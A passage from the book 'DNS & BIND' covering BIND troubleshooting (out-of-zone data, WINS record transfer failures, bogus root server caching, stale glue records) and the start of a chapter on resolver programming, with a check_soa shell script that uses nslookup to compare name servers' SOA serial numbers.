Before version 4.9, a BIND name server would gladly load data describing any zone from a data file the name server read as a primary master. If you declared the name server primary for movie.edu and told it that the movie.edu data was in db.movie, you could stick data about hp.com in db.movie, and your name server would load the hp.com resource records. Some books even suggested putting the data for all of your in-addr.arpa zones in one file.

With BIND 4.9, the name server ignores any "out of zone" resource records in a zone data file. So if you cram PTR records for all your in-addr.arpa domains into one file and load it with a single zone statement or primary directive, the name server will ignore all the records not in the named zone. And that, of course, will mean loads of missing PTR records and failed gethostbyaddr() calls.

BIND does log that it's ignoring the records in syslog. The messages look like this:

Jan  7 13:58:01 terminator named[231]: db.movie:16: data "hp.com" outside zone
     "movie.edu" (ignored)
Jan  7 13:58:01 terminator named[231]: db.movie:17: data "hp.com" outside zone
     "movie.edu" (ignored)

The solution is to use one zone data file and one zone statement or primary directive per zone.

Previous: 13.3 Potential Problem List | DNS & BIND | Next: 13.5 Interoperability and Version Problems
13.3 Potential Problem List | Book Index | 13.5 Interoperability and Version Problems


[Chapter 13] 13.5 Interoperability and Version Problems

DNS & BIND

DNS & BINDSearch this book
Previous: 13.4 Transition Problems Chapter 13
Troubleshooting DNS and BIND 		Next: 13.6 Problem Symptoms

13.5 Interoperability and Version Problems

With the move to BIND 8 and the introduction of Microsoft Windows DNS Server, more interoperability problems are cropping up between name servers. There are also a handful of problems that are unique to one version or another of BIND or the underlying operating system. Many of these are easy to spot and correct, and we would be remiss if we didn't cover them.

13.5.1 Zone Transfer Fails Because of Proprietary WINS Record

When a Microsoft Windows DNS Server is configured to consult a WINS server for names it can't find in a given zone, it inserts a special record into the zone data file. The record looks like this:

@               IN      WINS            &IP address of WINS server

Unfortunately, WINS is not a standard record type in the IN class. Consequently, if there are BIND slaves that transfer this zone, they'll choke on the WINS record and refuse to load the zone:

May 23 15:58:43 terminator named-xfer[386]: "fx.movie.edu IN 65281" - unknown type (65281)

The workaround for this is to configure the Microsoft DNS Server to filter out the proprietary record before transferring the zone. You do this by selecting the zone in the left-hand side of the DNS Manager screen, right clicking on it and selecting Properties. Click on the WINS Lookup tab in the resulting Zone Properties window, shown in Figure 13.1.

Figure 13.1: "Settings only affect local server" checkbox

Checking "Settings only affect local server" will filter out the WINS record for that zone. However, any Microsoft DNS Server slaves won't see the record, even though they could use it.

13.5.2 Name Server Reports "No NS Record for SOA MNAME"

You'll only see this error on BIND 8.1 servers:

May 8 03:44:38 terminator named[11680]: no NS RR for SOA MNAME "movie.edu" in
     zone "movie.edu"

The 8.1 server was a real stickler about the first field in the SOA record. Remember that one? In Chapter 4, Setting Up BIND, we said that it was, by convention, the domain name of the primary master name server for the zone. BIND 8.1 assumes it is, and checks for a corresponding NS record pointing the zone's domain name to the server in that field. If there's no such NS record, BIND emits that error message. It will also prevent NOTIFY messages from working correctly. The solution is either to change your MNAME field to the domain name of a name server listed in an NS record or upgrade to a newer version of BIND 8. The check was removed at BIND 8.1.1.

13.5.3 Name Server Reports "Too Many Open Files"

On hosts with many IP addresses, or a low limit on the maximum number of files a user can open, BIND will report:

Dec 12 11:52:06 terminator named[7770]: socket(SOCK_RAW): Too many open files

and die.

Since BIND tries to bind() to and listen on every network interface on the host, it may run out of file descriptors. This is especially common on hosts that use lots of virtual interfaces, often in support of web hosting. The two possible solutions are:

  • Configure BIND to listen on only one or a few of the host's network interfaces using the listen-on substatement. If terminator is the host we're having this problem with:

    options {
                listen-on { 192.249.249.3; };
};

    will tell named on terminator to bind() only to the IP address 192.249.249.3.

  • Reconfigure your operating system to allow a process to open more file descriptors concurrently.

13.5.4 Resolver Reports "Looked for PTR, Found CNAME"

This is another problem related to BIND's strictness. On some lookups, the resolver will log:

Sep 24 10:40:11 terminator syslog: gethostby*.getanswer: asked for
     "37.103.74.204.in-addr.arpa IN PTR", got type "CNAME"
Sep 24 10:40:11 terminator syslog: gethostby*.getanswer: asked for
     "37.103.74.204.in-addr.arpa", got "37.32/27.103.74.204.in-addr.arpa"

What happened here is that the resolver asked the name server to reverse map the IP address 204.74.103.37 to a domain name. The server did, but in the process found that 37.103.74.204.in-addr.arpa was actually an alias for 37.32/27.103.74.204.in-addr.arpa. That's almost certainly because the folks who run 103.74.204.in-addr.arpa are using the scheme we described in Chapter 9, Parenting, to delegate part of their name space. The BIND 4.9.3-BETA resolver, however, doesn't understand that, and flags it as an error, thinking it didn't get the domain name or the type it was after.

The only solution to this problem is to upgrade to a newer version of the BIND resolver.

13.5.5 Name Server Startup Fails Because UDP Checksums Disabled

On some hosts running SunOS 4.1.X, you'll see this error:

Sep 24 10:40:11 terminator named[7770]: ns_udp checksums NOT turned on: exiting

named checked to make sure UDP checksumming was on on this system, and it wasn't, so named exited. named is so insistent on UDP checksumming being on for good reason: it makes copious use of UDP, and needs those UDP datagrams to arrive unmolested.

The solution to this problem is to enable UDP checksums on your system. The BIND distribution has documentation on that in shres/sunos/INSTALL and shres/sunos/ISSUES (in the BIND 4 distribution) or src/port/sunos/shres/ISSUES (in the BIND 8 distribution).

13.5.6 SunOS Resolver Is Configured, but Host Doesn't Use DNS

The last of these problems is implementation-specific. Some administrators on SunOS 4 hosts configure their resolvers with resolv.conf and naively assume that ping, telnet, and their brethren should work right away. However, in Chapter 7, Maintaining BIND, we discussed how SunOS 4 implements the resolver (in ypserv, if you recall). If the host isn't running NIS, configuring the resolver won't do it. The administrator will either have to set up at least an empty hosts map or replace the resolver routines. For details on both of these options, see Chapter 7.

13.5.7 Other Name Servers Don't Cache Your Negative Answers

You'd need a keen eye to notice this problem, and you'd also have to have turned off an important BIND 8 feature to have caused the problem. If you're running a BIND 8 name server and other resolvers and servers seem to ignore your server's cached negative responses, you just might have turned off auth-nxdomain.

auth-nxdomain is an options substatement that tells the BIND 8 server to flag cached negative responses as authoritative, even though they're not. That is, if your name server has cached the fact that titanic.movie.edu does not exist from the authoritative movie.edu name servers, auth-nxdomain tells your server to pass along that cached response to resolvers and servers that query it as though it were the authoritative name server for movie.edu.

The reason this is necessary is because some name servers check to make sure that negative responses, like NXDOMAIN and no records with a NOERROR return code, are marked authoritative. In the days before negative caching, negative responses had to be authoritative, so this was a sensible sanity check. With the advent of negative caching, however, a negative response may come from the cache. To make sure that older servers don't ignore such answers, though, or consider them errors, BIND 8 lets you falsely flag those responses as authoritative. In fact, that's the default behavior, so you shouldn't see remote queriers ignoring your server's negative responses unless you turn off auth-nxdomain.

Previous: 13.4 Transition Problems | DNS & BIND | Next: 13.6 Problem Symptoms
13.4 Transition Problems | Book Index | 13.6 Problem Symptoms


[Chapter 13] 13.6 Problem Symptoms

DNS & BIND

DNS & BINDSearch this book
Previous: 13.5 Interoperability and Version Problems Chapter 13
Troubleshooting DNS and BIND 		Next: 14. Programming with the Resolver and Name Server Library Routines

13.6 Problem Symptoms

Some problems, unfortunately, aren't as easy to identify as the ones we listed. You'll experience some misbehavior but won't be able to attribute it directly to its cause, often because any of a number of problems may cause the symptoms you see. For cases like this, we'll suggest some of the common causes of these symptoms and ways to isolate them.

13.6.1 Local Name Can't Be Looked Up

The first thing to do when a program like telnet or ftp can't look up a local name is to use nslookup to try to look up the same name. When we say "the same name," we mean literally the same name - don't add a domain and a trailing dot if the user didn't type either one. Don't query a different name server than the user did.

As often as not, the user mistyped the name, or doesn't understand how the search list works, and just needs direction. Occasionally, you'll turn up real host configuration errors:

  • Syntax errors in resolv.conf (problem 11 in the "Potential Problem List" mentioned earlier in this chapter)

  • An unset default domain (problem 12)

You can check for either of these using nslookup's set all command.

If nslookup points to a problem with the name server, rather than with the host configuration, check for the problems associated with the type of name server. If the name server is the primary master for the zone, but it doesn't respond with data you think it should:

  • Check that the db file contains the data in question, and that the name server has been signaled to reload it (problem 2).

  • Check the conf or boot file and the pertinent db file for syntax errors (problem 5).

  • Ensure that the records have trailing dots, if they require them (problem 6).

If the name server is a slave server, you should first check whether or not its master has the correct data. If it does, and the slave doesn't:

  • Make sure you've incremented the serial number on the primary (problem 1).

  • Look for a problem on the slave in updating the zone (problem 3).

If the primary doesn't have the correct data, of course, diagnose the problem on the primary.

If the problem server is a caching-only name server:

  • Make sure it has its cache data (problem 7).

  • Check that your parent zone's delegation to your zone exists and is correct (problems 9 and 10). Remember that to a caching-only server, your zone looks just like any other remote zone. Even though the host it runs on may be inside your zone, the caching-only name server must be able to locate an authoritative server for your zone from your parent zone's servers.

13.6.2 Remote Names Can't Be Looked Up

If your local lookups succeed, but you can't look up names outside your local zones, there is a different set of problems to check:

  • First, did you just set up your servers? You might have omitted the cache data (problem 7).

  • Can you ping the remote zone's name servers? Maybe you can't reach the remote zone's servers because of connectivity loss (problem 8).

  • Is the remote zone new? Maybe its delegation hasn't yet appeared (problem 9). Or the delegation information for the remote zone may be wrong or out of date, due to neglect (problem 10).

  • Does the domain name actually exist on the remote zone's servers (problem 2)? On all of them (problems 1 and 3)?

13.6.3 Wrong or Inconsistent Answer

If you get the wrong answer when looking up a local name, or an inconsistent answer, depending on which name server you ask or when you ask, first check the synchronization between your name servers:

  • Are they all holding the same serial number for the zone? Did you forget to increment the serial number on the primary after you made a change (problem 1)? If you did, the name servers may all have the same serial number, but they will answer differently out of their authoritative data.

  • Did you roll the serial number back to one (problem 1 again)? Then the primary's serial number will appear much lower than the slaves' serial numbers.

  • Did you forget to signal the primary (problem 2)? Then the primary will return (via nslookup, for example) a different serial number than the serial number in the data file.

  • Are the slaves having trouble updating from the primary (problem 3)? If so, they should have syslogged appropriate error messages.

  • Is the name server's round robin feature rotating the addresses of the domain name you're looking up?

If you get these results when looking up a name in a remote zone, you should check whether the remote zone's name servers have lost synchronization. You can use tools like nslookup to determine whether the remote zone's administrator has forgotten to increment the serial number, for example. If the name servers answer differently from their authoritative data but show the same serial number, the serial number probably wasn't incremented. If the primary's serial number is much lower than the slaves', the primary's serial number was probably accidentally reset. We usually assume a zone's primary name server is running on the host listed as the origin in the SOA record.

You probably can't determine conclusively that the primary hasn't been signaled, though. It's also difficult to pin down updating problems between remote name servers. In cases like this, if you've determined that the remote name servers are giving out incorrect data, contact the zone administrator and (gently) relay what you've found. This will help the administrator track down the problem on the remote end.

If you can determine that a parent server - a remote zone's parent, your zone's parent, or even your zone - is giving out a bad answer, check whether this is coming from old delegation information. Sometimes this will require contacting both the administrator of the remote zone and the administrator of its parent to compare the delegation and the current, correct list of authoritative name servers.

If you can't induce the administrator to fix his data, and it's causing your name server problems, or if you can't track down the administrator, you can always use the bogus substatement or bogusns directive to instruct your name server not to query that particular server.

13.6.4 Lookups Take a Long Time

Long name resolution is usually due to one of two problems:

  • Connectivity loss (problem 8), which you can diagnose with name server debugging output and tools like ping

  • Incorrect delegation information (problem 10), which points to the wrong name servers or the wrong IP addresses

Usually, going over the debugging output and sending a few pings will point to one or the other. Either you can't reach the name servers at all, or you can reach the hosts, but the name servers aren't responding.

Sometimes, though, the results are inconclusive. For example, the parent name servers delegate to a set of name servers that don't respond to pings or queries, but connectivity to the remote network seems all right (a traceroute, for example, will get you to the remote network's "doorstep" - the last router between you and the host). Is the delegation information so badly out of date that the name servers have long since moved to other addresses? Are the hosts simply down? Or is there really a remote network problem? Usually, finding out will require a call or a message to the administrator of the remote zone. (And remember, whois gives you phone numbers!)

13.6.5 rlogin and rsh to Host Fails Access Check

This is a problem you expect to see right after you set up your name servers. Users unaware of the change from the host table to domain name service won't know to update their .rhosts files. (We covered what needs to be updated in Chapter 6.) Consequently, rlogin's or rsh's access check will fail and deny the user access.

Other causes of this problem are missing or incorrect in-addr.arpa delegation (problems 9 and 10), and forgetting to add a PTR record for the client host (problem 4). If you've recently upgraded to BIND 4.9 or 8 and have PTR data for more than one in-addr.arpa subdomain in a single file, your name server may be ignoring the out-of-zone data. Any of these situations will result in the same behavior:

% rlogin wormhole
Password:

In other words, the user is prompted for a password despite having set up passwordless access with .rhosts or hosts.equiv. If you were to look at the syslog file on the destination host (wormhole, in this case), you'd probably see something like this:

May  4 18:06:22 wormhole inetd[22514]: login/tcp: Connection
       from unknown (192.249.249.213)

You can tell which problem it is by stepping through the resolution process with nslookup. First query one of your in-addr.arpa domain's parent name servers for NS records for your in-addr subdomain. If these are correct, query the name servers listed for the PTR record corresponding to the IP address of the rlogin or rsh client. Make sure they all have the PTR record, and that the record maps to the right domain name. If not all the name servers have the record, check for a loss of synchronization between the primary and the slaves (problems 1 and 3).

13.6.6 Access to Services Denied

Sometimes rlogin and rsh aren't the only services to go. Occasionally you'll install DNS on your server and your diskless hosts won't boot, and hosts won't be able to mount disks from the server, either.

If this happens, make sure the case of the names your name servers return agrees with the case your previous name service returned. For example, if you were running NIS, and your NIS host's maps contained only lowercase names, you should make sure your name servers also return lowercase names. Some programs are case-sensitive and won't recognize names in a different case in a data file, such as /etc/bootparams or /etc/exports.

13.6.7 Name Server Is Infected with Bogus Root Server Data

NOTE: BIND name servers version 4.9 and newer are resistant to this problem.

Here's a problem that will be familiar to anyone who's run a name server on the Internet for any length of time:

% nslookup
Default Server:  terminator.movie.edu
Address:  192.249.249.3

> set type=ns
> .
Server:  terminator.movie.edu
Address:  192.249.249.3

Non-authoritative answer:
(root)  nameserver = NS.NIC.DDN.MIL
(root)  nameserver = B.ROOT-SERVERS.NET
(root)  nameserver = E.ROOT-SERVERS.NET
(root)  nameserver = D.ROOT-SERVERS.NET
(root)  nameserver = F.ROOT-SERVERS.NET
(root)  nameserver = C.ROOT-SERVERS.NET
(root)  nameserver = G.ROOT-SERVERS.NET
(root)  nameserver = hpfcsx.fc.hp.com
(root)  nameserver = hp-pcd.cv.hp.com
(root)  nameserver = hp-ses.sde.hp.com
(root)  nameserver = hpsatc1.gva.hp.com
(root)  nameserver = named_master.ch.apollo.hp.com
(root)  nameserver = A.ISI.EDU
(root)  nameserver = SRI-NIC.ARPA
(root)  nameserver = GUNTER-ADAM.ARPA

Authoritative answers can be found from:
(root)  nameserver = NS.NIC.DDN.MIL
(root)  nameserver = B.ROOT-SERVERS.NET
(root)  nameserver = E.ROOT-SERVERS.NET
(root)  nameserver = D.ROOT-SERVERS.NET
(root)  nameserver = F.ROOT-SERVERS.NET
(root)  nameserver = C.ROOT-SERVERS.NET
(root)  nameserver =

*** Error: record size incorrect (1050690 != 65519)

*** terminator.movie.edu can't find .: Unspecified error

Whoa! Where in the heck did all those root name servers come from? And why is the record size messed up?

If you look carefully, you'll notice that most of those records are bogus. SRI-NIC.ARPA, for example, is the original name of nic.ddn.mil, from the days when all ARPAnet hosts lived under the top-level ARPA domain. Moreover, even the name server on nic.ddn.mil was decommissioned as a root some time ago, replaced by a new root on ns.nic.ddn.mil (and that name server moved from the old NIC at SRI to the new one at NSI...).

The name servers in hp.com aren't Internet roots, and haven't ever been. So how did these get into our cache? Here's how.

Remember when we described what a name server does when queried for a name it isn't authoritative for? It does its best to provide information that will be helpful to the querier: NS records that are as close as possible to the domain name the querier is after. Sometimes the queried name server can only get as close as the root name servers. And sometimes the name server has the wrong list of roots, either accidentally (because of incorrect configuration) or because no one went to the effort to keep the cache file up-to-date.

So what does that have to do with caching? Well, say your name server queries what it thinks is a 10.in-addr.arpa name server, and the name server turns out to know nothing about 10.in-addr.arpa. The name server, trying to be helpful, sends along its current list of root name servers in a response packet, but the list is wrong. BIND (versions 4.8.3 and earlier), trusting as a newborn, gratefully caches all this useless information. Later versions, older and wiser, flag this as a lame delegation and toss the bad data.

Why did nslookup return a record size error when we looked up your name server's list of root servers? The list of roots exceeded the size of a UDP response packet, but it was truncated to fit into a response. The length field in the response indicated that more data was included, though, so nslookup complained.

This infection can spread if the bogus NS records point to real - but nonroot - name servers. If these name servers give out more bogus data, your name server's cache may become polluted by more and more erroneous records.

The only ways to track down the source of these bogus roots are to turn name server debugging way up (to level four or above) and watch for the receipt of these records, or to patch your name server so that it reports receiving bad root information. With BIND 4.9 and BIND 8, you can see the source of the bad data in a database dump. Even when you think you've found the culprit, though, you may have only discovered another name server that was corrupted before yours, not the original source of the corruption. To uncover the original sinner, you'd have to work backwards, together with other administrators, to discover who made the first gaffe. If you don't have the tenacity to suffer through that process, it's probably easier just to upgrade to a BIND 4.9 or BIND 8 server.

13.6.8 Name Server Keeps Loading Old Data

Here's a weird class of problems related to the previous cache corruption problem. Sometimes, after decommissioning a name server, or changing a name server's IP address, you'll find the old address record lingering around. An old record may show up in a name server's cache or in a zone data file weeks, or even months, later. The record clearly should have timed out of any caches by now. So why's it still there? Well, there are a few reasons this happens. We'll describe the simpler cases first.

13.6.8.1 Old delegation information

The first (and simplest) case occurs if a parent zone doesn't keep up with its children, or if the children don't inform the parent of changes to the authoritative name servers for the zone. If the edu administrators have this old delegation information for movie.edu:

$ORIGIN movie.edu.
@    86400    in    ns    terminator
     86400    in    ns    wormhole
terminator    86400    in    a    192.249.249.3
wormhole      86400    in    a    192.249.249.254 ; wormhole's former
                                                  ; IP address

then the edu name servers will give out the bogus old address for wormhole.

This is easily corrected once it's isolated to the parent name servers: just contact the parent zone's administrator and ask to have the delegation information updated. If any of the child zone's servers have cached the bad data, kill them (to clear out their caches), delete any data files that contain the bad data, then restart them.

13.6.8.2 Unnecessary glue data

When named-xfer pulls zone data over from a master server, it transfers more than it strictly needs. This is a bug in BIND 4.8.3 and earlier. The main excess baggage named-xfer retrieves is the addresses of name servers for the zone, when those servers are outside of the zone. If the name servers are in the zone, their addresses are necessary as glue data. But if they're not in the zone, they don't belong in the zone's data file. So, for example, in a backup file for movie.edu, you'd find these partial contents of file db.movie:

$ORIGIN edu.
movie           IN      NS      terminator.movie.edu.
$ORIGIN movie.edu.
terminator      IN      A       192.249.249.3
$ORIGIN edu.
movie           IN      NS      wormhole.movie.edu.
$ORIGIN movie.edu.
wormhole        IN      A       192.249.249.1
                IN      A       192.253.253.1
                IN      A       192.249.249.254

But you'd also find similar records in db.192.249.249 and db.192.253.253:

$ORIGIN 249.192.in-addr.arpa.
249             IN      NS      terminator.movie.edu.
$ORIGIN movie.edu.
terminator      56422   IN      A       192.249.249.3
$ORIGIN 249.192.in-addr.arpa.
249             IN      NS      wormhole.movie.edu.
$ORIGIN movie.edu.
wormhole        56422   IN      A       192.249.249.1
                56422   IN      A       192.253.253.1
                56422   IN      A       192.249.249.254

The last of wormhole's addresses is wormhole's former address.

NOTE: BIND name servers version 4.9 and newer do not have this problem.

There's no reason to include the address records for terminator or wormhole in either in-addr.arpa backup file. They should be listed in db.movie, but since they're not necessary as glue in either in-addr.arpa subdomain, they shouldn't appear in db.192.249.249 or db.192.253.253.

When the slave loads the in-addr.arpa backup file, it also loads the address records for terminator and wormhole. If the address is old, then the name server loads - and gives out - the wrong address:

% nslookup wormhole
Server:  wormhole.movie.edu
Address:  192.249.249.1

Name:    wormhole.movie.edu
Address:  192.249.249.1, 192.253.253.1, 192.249.249.254

You might think, "If I clean the old address out of db.movie," (you can think in italics), "the slaves will time it out of the in-addr.arpa subdomains. After all, there's a TTL on the address records."

Unfortunately, the slave servers don't age those records. They're given out with the TTL in the data file, but the slave never decrements the TTL or times out the record. So the old address could linger as long as the in-addr.arpa backup files remain unchanged. And in-addr.arpa zones are very stable if no one's adding new hosts to the network or shuffling IP addresses. There's no need to increment their serial numbers and have them reloaded by the slaves.

The secret is to increment all of the zones' serial numbers at once when you make a change affecting the zones' authoritative name servers. That way, you flush out any old, stale records and ensure that the slaves all load up-to-date glue.

13.6.8.3 Mutual infection

There's one more scenario we're familiar with that can cause these symptoms. This one doesn't require old data in files at all - just two slave name servers. BIND can run into problems when two name servers act as slave for each other, and when one zone is the child of the other; for example, when name server A loads movie.edu from name server B, and B loads fx.movie.edu from A.

NOTE: BIND name servers version 4.9 and newer are resistant to this problem.

In these cases, certain data can float back and forth between the two name servers indefinitely. In particular, the name servers can pass delegation data, which is really part of the "child" zone, back and forth.

How does this work? Say terminator.movie.edu is the primary master movie.edu server and it backs up fx.movie.edu from bladerunner. bladerunner is the primary master fx.movie.edu name server and backs up movie.edu from terminator. Then suppose you change bladerunner's IP address. You remember to change named.conf on terminator to load fx.movie.edu from bladerunner's new IP address, and you change the IP address in db.fx. You even update the fx subdomain's delegation data in db.movie on the primary to reflect the address change. Isn't that enough?

Nope. Here's why: terminator still has bladerunner's old IP address in the backup file db.fx, and bladerunner still has its own old address in its backup copy of db.movie (a glue record in the fx delegation).

Now let's say you delete db.fx on terminator and kill and restart its name server. Won't that suffice? No, because bladerunner still has the old address and will pass it along to terminator in the next fx.movie.edu zone transfer. If you delete db.movie on bladerunner and kill and restart the name server, something similar will happen: bladerunner will get the old record back with the next movie.edu zone transfer.

That's a little complicated to follow - for us, too - so Figure 13.2 will help you picture what's going on.

Figure 13.2: Infection through zone transfer

You need to rid both name servers of the old record simultaneously. Our solution to this problem is to bring both name servers down at the same time, clean out any backup files, and then start them both up again. That way, the caches can't re-infect each other.

13.6.8.4 What have I got?

How do you determine which of these problems is plaguing you? Pay attention to which name servers are distributing the old data, and which domains the data relate to:

  • Is the name server your parent name server? Check the parent for either old delegation information or parent-child infection.

  • Are both a name server and its parent affected? Then check for parent-child infection.

  • Are slaves affected, but not the primary? Check for stale data in backup files.

That's about all we can think to cover. It's certainly less than a comprehensive list, but we hope it'll help you solve the more common problems you encounter with DNS, and give you ideas about how to approach the rest. Boy, if we'd only had a troubleshooting guide when we started!

Previous: 13.5 Interoperability and Version Problems | DNS & BIND | Next: 14. Programming with the Resolver and Name Server Library Routines
13.5 Interoperability and Version Problems | Book Index | 14. Programming with the Resolver and Name Server Library Routines


[Chapter 14] Programming with the Resolver and Name Server Library Routines

DNS & BIND

DNS & BINDSearch this book
Previous: 13.6 Problem Symptoms Chapter 14 Next: 14.2 C Programming with the Resolver Library Routines

14. Programming with the Resolver and Name Server Library Routines

Contents:
Shell Script Programming with nslookup
C Programming with the Resolver Library Routines
Perl Programming with Net::DNS

"I know what you're thinking about," said Tweedledum; "but it isn't so, nohow."

"Contrariwise," continued Tweedledee, "if it was so, it might be; and if it were so, it would be; but as it isn't, it ain't. That's logic."

I bet you think resolver programming is hard. Contrariwise! It isn't very hard, really. The format of DNS packets is quite straightforward - you don't have to deal with ASN.1[1] at all, as you have to do with SNMP. And you have nifty library routines to make parsing DNS packets easy. We've included portions of RFC 1035 in Appendix A, DNS Message Format and Resource Records. However, you might find it handy to have a copy of RFC 1035 to look at while we are going through this chapter; at least have a copy of it nearby when you write your own DNS program.

[1] ASN.1 stands for Abstract Syntax Notation. ASN.1 is a language for encoding object types, accepted as an international standard by the International Organization for Standardization.

14.1 Shell Script Programming with nslookup

Before you go off and write a C program to do your DNS chore, you should write the program as a shell script using nslookup. There are good reasons to start with a shell script:

  • You'll write the shell script much faster than you'll write the C program.

  • If you are not comfortable with DNS, you can work out the muck in your program's logic with a quick shell script prototype. When you finally write the C program, you can focus on the additional control you have with C, rather than spending your time reworking the basic functionality.

  • You might find out that the shell script version does your task well enough so that you don't have to write the C program after all. Not only is the coding time shorter, but shell scripts are easier to maintain if you stick with them for the long run.

If you prefer Perl over plain old shell programming, you can do that too. At the end of this chapter, we'll show you how to use the Perl Net::DNS module written by Michael Fuhr.

14.1.1 A Typical Problem

Before you write a program, you have to have a problem to solve. Let's suppose you want your network management system to watch over your primary and secondary name servers. You want it to notify you of several problems: a name server that is not running (it might have died), a name server that is not authoritative for a domain that it is supposed to be authoritative for (the boot file might have been messed up), or a name server that has fallen behind in updating its data (the primary's serial number might have been decreased accidentally).

Each of these problems is easily detectable. If a name server is not running on a host, the host will send back an ICMP port unreachable message. You can find this out with both nslookup and the resolver routines. Checking if a name server is authoritative for a domain is easy: ask it for the domain's SOA record. If the answer is nonauthoritative, or the name server does not have the SOA record, there is a problem. You'll have to ask for the SOA record in a nonrecursive query so that the name server doesn't go off and look up the SOA record from another server. Once you have the SOA record, you can extract the serial number.

14.1.2 Solving This Problem with a Script

This problem requires a program that takes the domain name of a zone as an argument, looks up the name servers for that zone, and then queries each of those name servers for the SOA record for the zone. The response will show if the server is authoritative, and it will show the zone's serial number. If there is no response, the program needs to determine if a name server is even running on the host. Once this program is written, it needs to be called for every zone you want to watch over. Since this program looks up the name servers (by looking up the NS records for the zone), we assume that you have listed all your name servers in NS records in your zone data. If that is not the case, then you will have to change this program to take a list of name servers from the command line.

Let's write the basic program as a shell script that uses nslookup. First, we must figure out what the output of nslookup looks like, so that we can parse it with UNIX tools. We'll look up NS records to find out which servers are supposed to be authoritative for a zone, both when the server is authoritative for the NS records and when it isn't:

% nslookup
Default Server:  relay.hp.com
Address:  15.255.152.2

> set type=ns

Find out what the response looks like when the server is not authoritative for the NS records:

> mit.edu.
Server:  relay.hp.com
Address:  15.255.152.2

Non-authoritative answer:
mit.edu nameserver = STRAWB.MIT.EDU
mit.edu nameserver = W20NS.MIT.EDU
mit.edu nameserver = BITSY.MIT.EDU

Authoritative answers can be found from:
MIT.EDU nameserver = STRAWB.MIT.EDU
MIT.EDU nameserver = W20NS.MIT.EDU
MIT.EDU nameserver = BITSY.MIT.EDU
STRAWB.MIT.EDU  internet address = 18.71.0.151
W20NS.MIT.EDU   internet address = 18.70.0.160
BITSY.MIT.EDU   internet address = 18.72.0.3

Find out what the response looks like when the server is authoritative for the NS records:

> server strawb.mit.edu.
Default Server:  strawb.mit.edu
Address:  18.71.0.151

> mit.edu.
Server:  strawb.mit.edu
Address:  18.71.0.151

mit.edu nameserver = BITSY.MIT.EDU
mit.edu nameserver = STRAWB.MIT.EDU
mit.edu nameserver = W20NS.MIT.EDU
BITSY.MIT.EDU   internet address = 18.72.0.3
STRAWB.MIT.EDU  internet address = 18.71.0.151
W20NS.MIT.EDU   internet address = 18.70.0.160

You can see from this output that we can grab the name server names by looking for the lines that contain nameserver and saving the last field. When the server was not authoritative for the NS records, it printed them twice, so we'll have to weed out duplicates.

Next, we look up the SOA record for the zone, both when the server is authoritative for the SOA record and when it isn't. We turn off recurse so the name server doesn't go off and query an authoritative name server for the SOA:

% nslookup
Default Server:  relay.hp.com
Address:  15.255.152.2

> set type=soa
> set norecurse

Find out what the response looks like when the server does not have the SOA record:

> mit.edu.
Server:  relay.hp.com
Address:  15.255.152.2

Authoritative answers can be found from:
MIT.EDU nameserver = STRAWB.MIT.EDU
MIT.EDU nameserver = W20NS.MIT.EDU
MIT.EDU nameserver = BITSY.MIT.EDU
STRAWB.MIT.EDU  internet address = 18.71.0.151
W20NS.MIT.EDU   internet address = 18.70.0.160
BITSY.MIT.EDU   internet address = 18.72.0.3

Find out what the response looks like when the server is authoritative for the zone:

> server strawb.mit.edu.
Default Server:  strawb.mit.edu
Address:  18.71.0.151

> mit.edu.
Server:  strawb.mit.edu
Address:  18.71.0.151

mit.edu
        origin = BITSY.MIT.EDU
        mail addr = NETWORK-REQUEST.BITSY.MIT.EDU
        serial = 378
        refresh = 3600 (1 hour)
        retry   = 300 (5 mins)
        expire  = 3600000 (41 days 16 hours)
        minimum ttl = 21600 (6 hours)

When the name server was not authoritative for the zone, it returned references to other name servers. If the name server had previously looked up the SOA record and cached it, the name server would have returned the SOA record and said it was "non-authoritative." We need to check for both cases. When the name server returns the SOA record and it is authoritative, we can grab the serial number from the line that contains serial.

Now, we need to see what nslookup returns when no name server is running on a host. We'll change servers to a host that does not normally run a name server and look up an SOA record:

% nslookup
Default Server:  relay.hp.com
Address:  15.255.152.2

> server galt.cs.purdue.edu.
Default Server:  galt.cs.purdue.edu
Address:  128.10.2.39

> set type=soa
> mit.edu.
Server:  galt.cs.purdue.edu
Address:  128.10.2.39

*** galt.cs.purdue.edu can't find mit.edu.: No response from server

Last, we need to see what nslookup returns if a host is not responding. We can test this by switching servers to an unused IP address on our LAN:

% nslookup
Default Server:  relay.hp.com
Address:  15.255.152.2

> server 15.255.152.100
Default Server:  [15.255.152.100]
Address:  15.255.152.100

> set type=soa
> mit.edu.
Server:  [15.255.152.100]
Address:  15.255.152.100

*** Request to [15.255.152.100] timed-out

In the last two error cases, the error message was written to stderr. We can make use of that fact when writing our shell script. Now we are ready to compose the shell script. We'll call it check_soa:

#!/bin/sh
if test "$1" = ""
then
    echo usage: $0 domain
    exit 1
fi
DOMAIN=$1
#
# Use nslookup to discover the nameservers for this domain ($1).
# Use awk to grab the name server names from the nameserver lines.
# (The names are always in the last field.)  Use sort -u to weed out
# duplicates; we don't actually care about collation.
#
SERVERS=`nslookup -type=ns $DOMAIN |\
                 awk '/nameserver/ {print $NF}' | sort -u`
if test "$SERVERS" = ""
then
    #
    # Didn't find any servers.  Just quit silently; nslookup will
    # have detected this error and printed a message.  That will
    # suffice.
    #
    exit 1
fi
#
# Check each server's SOA serial number.  The output from
# nslookup is saved in two tmp files: nso.$$ (standard output)
# and nse.$$ (standard error).  These files are rewritten on
# every iteration.  Turn off defname and search since we
# should be dealing with fully qualified names.
#
# NOTE: this loop is rather long; don't be fooled.
#
for i in $SERVERS
do
  nslookup >/tmp/nso.$$ 2>/tmp/nse.$$ <<-EOF
    server $i
    set nosearch
    set nodefname
    set norecurse
    set q=soa
    $DOMAIN
EOF
  #
  # Does this response indicate that the current server ($i) is
  # authoritative?  The server is NOT authoritative if (a) the
  # response says so, or (b) the response tells you to find
  # authoritative info elsewhere.
  #
  if egrep "Non-authoritative|Authoritative answers can be" \
                                          /tmp/nso.$$ >/dev/null
  then
    echo $i is not authoritative for $DOMAIN
    continue
  fi
  #
  # We know the server is authoritative; extract the serial number.
  #
  SERIAL=`cat /tmp/nso.$$ | grep serial | sed -e "s/.*= //"`
  if test "$SERIAL" = ""
  then
    #
    # We get here if SERIAL is null.  In this case, there should
    # be an error message from nslookup; so cat the "standard
    # error" file.
    #
    cat /tmp/nse.$$
  else
    #
    # Report the server's name and its serial number.
    #
    echo $i has serial number $SERIAL
  fi
done  # end of the "for" loop
#
# Delete the temporary files.
#
rm -f /tmp/nso.$$ /tmp/nse.$$

Here is what the output looks like:

% check_soa mit.edu
BITSY.MIT.EDU has serial number 378
